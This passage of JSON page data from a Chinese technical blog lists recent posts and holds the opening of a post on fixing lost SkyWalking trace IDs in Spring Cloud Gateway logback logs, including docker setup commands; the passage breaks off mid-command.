article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":"","blockMap":{"block":{"026c5c21-3604-4c0a-a13c-ccb9208e4815":{"value":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","version":670,"type":"page","content":["84e0b4e4-4d09-4735-852f-62349007a189","b267e4d3-fa97-49ee-869b-7703ce772c53","a2da58b3-7dae-4889-8059-2522ed89c7f6","a1dcafde-033c-49a8-9442-bd22aa378568","ddda7846-980f-4721-a3b4-b2953d261af9","2ec1c825-217c-429b-afee-6caa19a43975","f6a2e306-a790-4fcb-af12-94ccdb9d0d7f","9b023386-b08f-4aa6-bef7-896a31790d84","53025e58-6041-4a0f-a4ec-5a552adfeaf2","a041e284-4a45-412e-b398-4a7ed69c1c37","849e8815-5eee-4e86-a63f-20722b7aa995","5bfd9a27-7898-41d8-b891-1bbc13be8d85","24317eef-356b-473c-b5c4-8ee8ec9f3ff4","9664075b-aae9-443c-947f-c212527f54e8","9af8dde9-01fa-4690-b577-e20d51ad4ffb","9fc64fb0-a43a-4bdf-b9dd-61425023bb8c","a13d2aa7-aebc-496f-9cc5-a4265f2ca292","e043a384-8bde-4de7-9a50-37602c2ed361","7ff97387-22a0-429c-9c2c-4128b82bc66f","c4c8d23c-69ee-490b-9a74-0eeb131c14fb","66f7b00c-2f1b-42a0-af57-1ff1d633f955","3a2d209a-d79f-4540-828d-773a22eae9b4","1a36dd47-5252-42f6-ade2-80ed742fb9f4","4caba176-ac58-4988-b755-471afac1a52d","b4ef4f0c-8378-421c-a55f-90c3a012fe29","1c9a8144-f42c-4114-b5cc-a451b261c4a4","0166e46c-5c22-4924-85c8-358ee4206ae2","c8b1acfb-2578-4b1d-83ee-6f622e1bd843","14af7bb3-3a67-4f83-8626-f377c1c56369","4fdd346f-ce99-49d6-a7c7-728734284e76","ab58e4d5-e7aa-4ba9-8c85-48b73ee0115d","c6104167-a456-4af4-b62a-d87bd0dc5b7f","733c637e-92ba-4889-87a7-f84308daeb66","f698fa80-fe58-4bec-a2aa-0afc33e8ffc7","5132098d-d3aa-4e40-ae84-0408e95d1039","1fc83cb3-1d07-43aa-bdea-0b706377887c","7bba3470-42ba-431c-9d63-49968c4ac543","c419ccc0-1429-4f18-af45-d9833e0282eb","91afc304-892f-42d3-bbcc-bb59e4fdd8d8","d9b07a77-5441-4573-8a13-db4be5c3ea3b","97e7928f-be51-43d0-b14d-05127bbeff35","e325c70e-f58c-478c-90b8-eccec3b5d808","584a5e58-4911-40f7-b4e8-67a14b578ba7","4b0d4b9b-c2e6-4fab-a1b4-01a7857bc706","0d136c13-f56c-470a-82fd-2edf46b9e1da","66932228-ed81-493f-ad40-f0cfa8a859d9","30bbe270-0897-4876-b780-500241acd206","a70ffef7-587f-481e-b2ef-c8635aa19049","754bfdec-4110-434d-855b-a46fd419c980","4efa436d-f550-4eda-ac48-8e6d733d8753","0d416ba8-81ec-4468-abaa-3458beed1f20","5df9de5c-e418-4045-ad9b-5003dbc43a99","c9f62dfd-e97e-45d1-afcf-f286342cbce3","eaafbb80-be83-4ef3-92b1-1df503ffe4f0","e7c407ce-c395-47c7-a594-0955b82cdb60","819553b3-aee8-4c8e-ba69-0120fe69cbd4","2da2c502-dcea-4989-b497-12bc4a5cf52b","e7cc9331-e6d1-4a9c-b328-cd8b4b87e032","0e05852c-3ee2-4087-a126-3de4e0942a19","39cdd25c-bec1-4319-86b7-2b3db77e107a","19073c4d-640d-4621-9e5c-56a99d0255dc","65fc421b-dc9a-4a4c-b3b1-739e002e5d8d","fc0bc607-3ddb-47e6-879b-5229ae258f71","f0568091-07d1-43b3-9a52-11cd0d74650d","31887616-fe32-43df-97c9-f850a7201f22","065453d6-fec4-45d0-a4a6-8ddd1d07b18c","19e3bbae-2412-427b-b58b-07013f336d4e","2fb486a5-74f6-4bcf-bf78-3f7142f7c121","80ee939b-8833-4392-a7e3-5687659406c1"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1705767165151,"last_edited_time":1705776752627,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"84e0b4e4-4d09-4735-852f-62349007a189":{"value":{"id":"84e0b4e4-4d09-4735-852f-62349007a189","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"b267e4d3-fa97-49ee-869b-7703ce772c53":{"value":{"id":"b267e4d3-fa97-49ee-869b-7703ce772c53","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705767401013,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"a2da58b3-7dae-4889-8059-2522ed89c7f6":{"value":{"id":"a2da58b3-7dae-4889-8059-2522ed89c7f6","type":"callout","properties":{"title":[["吴晟大佬:",[["b"]]],["Why ping me? The plugin is not written by me. I don't know anything about agent running in Spring cloud."]]},"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705767432426,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"a1dcafde-033c-49a8-9442-bd22aa378568":{"value":{"id":"a1dcafde-033c-49a8-9442-bd22aa378568","type":"text","properties":{"title":[["一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705772297047,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"ddda7846-980f-4721-a3b4-b2953d261af9":{"value":{"id":"ddda7846-980f-4721-a3b4-b2953d261af9","type":"image","properties":{"size":[["66.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/96bded73-53ce-4eb0-8549-7899d58355c5/Untitled.png"]]},"format":{"block_width":943,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/96bded73-53ce-4eb0-8549-7899d58355c5/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5058324496288441,"block_preserve_scale":true},"created_time":1705767731205,"last_edited_time":1705767734670,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"file_ids":["96bded73-53ce-4eb0-8549-7899d58355c5"]}},"2ec1c825-217c-429b-afee-6caa19a43975":{"value":{"id":"2ec1c825-217c-429b-afee-6caa19a43975","type":"header","properties":{"title":[["场景复现"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769812454,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"f6a2e306-a790-4fcb-af12-94ccdb9d0d7f":{"value":{"id":"f6a2e306-a790-4fcb-af12-94ccdb9d0d7f","type":"sub_header","properties":{"title":[["版本"]]},"created_time":1705768046282,"last_edited_time":1705768185934,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9b023386-b08f-4aa6-bef7-896a31790d84":{"value":{"id":"9b023386-b08f-4aa6-bef7-896a31790d84","type":"bulleted_list","properties":{"title":[["spring-cloud-gateway-dependencies = 3.1.3"]]},"created_time":1705768185933,"last_edited_time":1705768331452,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"53025e58-6041-4a0f-a4ec-5a552adfeaf2":{"value":{"id":"53025e58-6041-4a0f-a4ec-5a552adfeaf2","type":"bulleted_list","properties":{"title":[["skywalking-oap-server:9.3.0"]]},"created_time":1705768200635,"last_edited_time":1705768357934,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"a041e284-4a45-412e-b398-4a7ed69c1c37":{"value":{"id":"a041e284-4a45-412e-b398-4a7ed69c1c37","type":"bulleted_list","properties":{"title":[["skywalking-ui:9.3.0"]]},"created_time":1705768337871,"last_edited_time":1705768349258,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"849e8815-5eee-4e86-a63f-20722b7aa995":{"value":{"id":"849e8815-5eee-4e86-a63f-20722b7aa995","type":"bulleted_list","properties":{"title":[["apache-skywalking-java-agent:9.0.0"]]},"created_time":1705768362909,"last_edited_time":1705768424803,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"5bfd9a27-7898-41d8-b891-1bbc13be8d85":{"value":{"id":"5bfd9a27-7898-41d8-b891-1bbc13be8d85","type":"bulleted_list","properties":{"title":[["假设有gateway+user两个模块"]]},"created_time":1705768920888,"last_edited_time":1705768939595,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"24317eef-356b-473c-b5c4-8ee8ec9f3ff4":{"value":{"id":"24317eef-356b-473c-b5c4-8ee8ec9f3ff4","type":"text","created_time":1705768047872,"last_edited_time":1705768047873,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9664075b-aae9-443c-947f-c212527f54e8":{"value":{"id":"9664075b-aae9-443c-947f-c212527f54e8","type":"sub_header","properties":{"title":[["skyWalking环境搭建"]]},"created_time":1705767891627,"last_edited_time":1705768543788,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9af8dde9-01fa-4690-b577-e20d51ad4ffb":{"value":{"id":"9af8dde9-01fa-4690-b577-e20d51ad4ffb","type":"code","properties":{"title":[["#先搞个elasticsearch 略\n\n#docker搭建skywalking-oap-server\ndocker run -d \\\n--name skywalking-oap \\\n--privileged=true \\\n-p 11800:11800 \\\n-p 12800:12800 \\\n--restart always \\\n-e SW_CORE_RECORD_DATA_TTL=15 \\\n-e SW_CORE_METRICS_DATA_TTL=15 \\\n-e SW_ENABLE_UPDATE_UI_TEMPLATE=\"true\" \\\n-e SW_HEALTH_CHECKER=default \\\n-e TZ=Asia/Shanghai \\\n-e SW_STORAGE=elasticsearch \\\n-e JAVA_OPTS=\"-Xms512m -Xmx1024m\" \\\n-e SW_STORAGE_ES_CLUSTER_NODES=host.docker.internal:9200 \\\n-e SW_ES_PASSWORD=guest \\\n-e SW_ES_USER=elastic "],["apache/skywalking-oap-server:9.3.0",[["a","http://registry.docker-cn.com/apache/skywalking-oap-server:9.3.0"]]],[" \n\n#docker搭建skywalking-ui\ndocker run -d \\\n--name skywalking-ui \\\n--link skywalking-oap \\\n--privileged=true \\\n-p 18080:8080 \\\n--restart always \\\n-e TZ=Asia/Shanghai \\\n-e SW_HEALTH_CHECKER=default \\\n-e SW_OAP_ADDRESS=http://host.docker.internal:12800 apache/skywalking-ui:9.3.0\n\n#下载agent\nwget 